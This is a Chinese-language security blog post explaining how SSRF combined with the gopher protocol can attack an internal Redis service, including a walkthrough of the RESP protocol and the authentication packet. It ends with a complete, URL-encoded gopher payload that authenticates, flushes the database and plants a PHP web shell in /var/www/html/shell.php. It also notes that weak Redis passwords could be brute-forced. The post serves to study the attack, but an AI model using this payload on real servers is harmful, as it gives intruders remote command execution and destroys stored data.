SSRF&Gopher协议

最近研究通过Gopher协议构造post,get请求来攻击内网的一些服务。遂继续研究Gopher协议,Gopher协议不仅可以进行post,get请求的修改,还能构造TCP数据流攻击一些内网的服务。如redis,mysql等。这次分析通过SSRF和Gopher协议攻击redis,以及对攻击原理进行分析。

未授权的Redis

未授权redis服务即不需要密码即可使用的redis服务,这种暴露在网络中而且不需要授权的服务非常危险,可以直接构造payload执行文件写入,反弹shell等危险操作。

安装redis后使用root用户启动。(手动关闭redis后重新使用redis-server命令启动,不然默是redis用户,没有文件写入权限)

使用工具生成payload,直接打。

成功写入:

流量包分析

抓出攻击流量包进行流量分析

1
tcpdump -i eth0 port 6379 -W 1234.pcap

流量包结构如上,redis使用了RESP协议进行通信的。该协议内容如下:

截取了流量包前半部分分条解析RESP协议

1
2
3
4
5
6
7
8
9
10
11
12
*1//接下来将会有1个数组数据
$8//数组的第0为,长度为8
flushall//长度8的数据
*3//接下来将会有3个数组的数据
$3//数组的第0位,长度为3
set//长度为3的数据
$1//数组的第一位,长度为1
1//长度为1的数据
$22//数组的第二位,长度为22


<?php phpinfo();?>//长度为22的数据

可以看到,如果我要发送一个字符串flushall到redis,就得进行如下编码。

*1\r\n$8\r\nflushall\r\n

*1,$8,flushall都是协议的不同部分,所以他们之前都需要使用CRLF(\r\n)进行分割

Redis授权访问

既然Redis可以通过RESP协议进行通信,那我们只要解析出redis登录的时候发送的报文,那么就可以在知道密码的情况下使用gopher协议进行攻击或者攥写脚本进行简单的密码爆破。

首先抓包分析redis登录过程

可以看到登录过程中发送的报文,auth字段后面跟密码。

1
2
3
4
5
*2
$4
auth
$6
123456

而且,redis支持管道操作,可以通过单个写入操作发送多个命令,不需要再发出下一个命令之前读取上一个命令服务器的恢复。所有的回复都可以在最后阅读。所以,即使redis存在认证同样可以进行攻击。在刚刚的未授权数据包前加上授权字段即可以正常攻击

我们重新在payload前加上我们编码过的满足gopher协议的:

1
%2A2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A

最终payload:

1
2
gopher://127.0.0.1:6379/_%2A2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

攻击成功:

流量细节:

既然可以通过构造验证包进行请求,redis速度也非常快,那么一些不太安全的密码可能会存在被暴力破解的可能。本篇文章在这方面不做研究。